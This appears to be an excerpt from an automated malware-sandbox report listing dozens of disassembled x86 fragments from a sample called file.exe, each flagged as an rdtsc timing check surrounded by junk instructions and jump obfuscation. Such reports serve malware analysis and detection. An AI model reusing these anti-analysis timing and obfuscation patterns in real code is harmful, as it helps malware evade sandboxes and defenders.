Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70D79 second address: B70D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70EEB second address: B70EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70EEF second address: B70EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70EF9 second address: B70EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70EFD second address: B70F17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817831h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F101 second address: B7F110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jng 00007F1B51130F9Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AF49 second address: B7AF68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1B50817826h 0x0000000a jmp 00007F1B50817835h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AF68 second address: B7AF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C6DE second address: B8C6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8EBF0 second address: B8EC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 jl 00007F1B51130FA6h 0x0000000c jo 00007F1B51130F98h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B79 second address: B90B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B7D second address: B90B87 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B51130F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90B87 second address: B90B9F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B5081782Ch 0x00000008 jp 00007F1B5081782Eh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B908A3 second address: B908A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B908A7 second address: B908B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B908B4 second address: B908B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B908B9 second address: B908E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1B50817826h 0x00000009 jne 00007F1B50817826h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jc 00007F1B50817842h 0x00000018 pushad 0x00000019 js 00007F1B50817826h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B908E1 second address: B908E7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA88D4 second address: BA88DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA88DA second address: BA88E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA88E5 second address: BA8918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F1B50817833h 0x0000000c jmp 00007F1B50817835h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA901C second address: BA9033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B51130F9Eh 0x00000009 push ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA92A4 second address: BA92B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jbe 00007F1B50817826h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABF93 second address: BABF97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAC192 second address: BAC196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAC196 second address: BAC19A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAC19A second address: BAC1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 xor edx, 2C465474h 0x0000000e mov dl, 34h 0x00000010 push 00000004h 0x00000012 cmc 0x00000013 push ebx 0x00000014 or dword ptr [ebp+122D203Bh], eax 0x0000001a pop edx 0x0000001b push 0EA21E00h 0x00000020 pushad 0x00000021 jmp 00007F1B5081782Bh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAC1CA second address: BAC1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD68F second address: BAD6A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817834h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD6A7 second address: BAD6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jno 00007F1B51130F96h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jl 00007F1B51130F9Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD6C5 second address: BAD6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F1B5081782Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD6D5 second address: BAD6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF2FE second address: BAF30F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F1B50817826h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF30F second address: BAF313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF313 second address: BAF333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B50817837h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF333 second address: BAF33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF33B second address: BAF344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF344 second address: BAF348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEED3 second address: BAEEEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B50817832h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEEEB second address: BAEEEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0F44 second address: BB0F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0F4A second address: BB0F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007F1B51130F9Ch 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070334 second address: 5070343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070343 second address: 5070383 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1B51130F9Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007F1B51130F9Ch 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070383 second address: 5070394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B5081782Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070394 second address: 5070398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070398 second address: 50703A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50703A7 second address: 50703AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03E4 second address: 50A03E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03E8 second address: 50A03EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03EE second address: 50A0415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817834h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1B5081782Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0415 second address: 50A041B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A041B second address: 50A04BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1B5081782Eh 0x00000012 jmp 00007F1B50817835h 0x00000017 popfd 0x00000018 mov ax, BFA7h 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e pushad 0x0000001f mov ecx, 6931FC9Fh 0x00000024 pushfd 0x00000025 jmp 00007F1B50817834h 0x0000002a sbb ax, D008h 0x0000002f jmp 00007F1B5081782Bh 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007F1B50817839h 0x0000003c xchg eax, ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F1B50817838h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04BF second address: 50A04C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04C3 second address: 50A04C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04C9 second address: 50A04F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F1B51130FA0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04F3 second address: 50A04F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04F7 second address: 50A04FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04FD second address: 50A0586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1B50817834h 0x00000011 sbb ecx, 2E1E54B8h 0x00000017 jmp 00007F1B5081782Bh 0x0000001c popfd 0x0000001d jmp 00007F1B50817838h 0x00000022 popad 0x00000023 lea eax, dword ptr [ebp-04h] 0x00000026 jmp 00007F1B50817830h 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push edx 0x00000030 pop ecx 0x00000031 call 00007F1B50817839h 0x00000036 pop esi 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0586 second address: 50A05C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1B51130F9Bh 0x0000000f nop 0x00000010 jmp 00007F1B51130FA6h 0x00000015 push dword ptr [ebp+08h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bl, BCh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05C4 second address: 50A05CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A068A second address: 50A0690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A070B second address: 50A0737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F1B50817830h 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx ebx, ax 0x00000016 mov esi, 48C8EE55h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0737 second address: 5090017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B51130F9Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f cmp eax, 00000000h 0x00000012 setne al 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007F1B51130F97h 0x0000001b xor eax, eax 0x0000001d sub esp, 08h 0x00000020 mov dword ptr [esp], 00000000h 0x00000027 mov dword ptr [esp+04h], 00000000h 0x0000002f call 00007F1B558DA3D3h 0x00000034 mov edi, edi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F1B51130FA3h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090017 second address: 50900AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1B5081782Fh 0x00000009 xor ah, 0000007Eh 0x0000000c jmp 00007F1B50817839h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edx 0x00000016 jmp 00007F1B5081782Ah 0x0000001b mov dword ptr [esp], ebp 0x0000001e jmp 00007F1B50817830h 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F1B5081782Eh 0x0000002c xor ecx, 0D0FE3D8h 0x00000032 jmp 00007F1B5081782Bh 0x00000037 popfd 0x00000038 mov dx, cx 0x0000003b popad 0x0000003c push FFFFFFFEh 0x0000003e jmp 00007F1B50817832h 0x00000043 push 4F8D53ADh 0x00000048 pushad 0x00000049 pushad 0x0000004a mov ecx, ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50900AF second address: 50900CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 26214A9Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1B51130F9Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50900CA second address: 50900E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F1B50817829h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50900E8 second address: 50900EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50900EC second address: 5090107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817837h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090107 second address: 5090157 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1B51130F9Fh 0x00000009 and esi, 086076BEh 0x0000000f jmp 00007F1B51130FA9h 0x00000014 popfd 0x00000015 call 00007F1B51130FA0h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov ecx, 78512193h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090157 second address: 50901E9 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushfd 0x00000009 jmp 00007F1B5081782Bh 0x0000000e sub cl, 0000007Eh 0x00000011 jmp 00007F1B50817839h 0x00000016 popfd 0x00000017 pop eax 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1B5081782Ch 0x00000024 and cx, 5C78h 0x00000029 jmp 00007F1B5081782Bh 0x0000002e popfd 0x0000002f mov di, ax 0x00000032 popad 0x00000033 mov eax, dword ptr [eax] 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F1B5081782Eh 0x0000003c xor eax, 55E576D8h 0x00000042 jmp 00007F1B5081782Bh 0x00000047 popfd 0x00000048 popad 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F1B5081782Bh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901E9 second address: 5090206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090206 second address: 509020C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509020C second address: 5090210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090210 second address: 50902B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817833h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F1B50817836h 0x00000011 mov eax, dword ptr fs:[00000000h] 0x00000017 jmp 00007F1B50817830h 0x0000001c nop 0x0000001d pushad 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F1B5081782Ch 0x00000025 sbb eax, 1400C058h 0x0000002b jmp 00007F1B5081782Bh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F1B50817838h 0x00000037 or cl, FFFFFFB8h 0x0000003a jmp 00007F1B5081782Bh 0x0000003f popfd 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F1B50817836h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902B9 second address: 50902DE instructions: 0x00000000 rdtsc 0x00000002 mov ax, 2B71h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, si 0x00000010 jmp 00007F1B51130FA4h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902DE second address: 509030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1B50817831h 0x00000008 pop esi 0x00000009 call 00007F1B50817831h 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509030E second address: 509033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1B51130FA6h 0x0000000a adc ax, 5438h 0x0000000f jmp 00007F1B51130F9Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509033B second address: 5090341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090341 second address: 509038E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e jmp 00007F1B51130FA6h 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007F1B51130F9Ch 0x0000001d sbb eax, 1EECF8F8h 0x00000023 jmp 00007F1B51130F9Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509038E second address: 50903F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushfd 0x00000008 jmp 00007F1B50817834h 0x0000000d sbb cl, 00000058h 0x00000010 jmp 00007F1B5081782Bh 0x00000015 popfd 0x00000016 jmp 00007F1B50817838h 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007F1B5081782Bh 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F1B50817835h 0x0000002b rdtsc
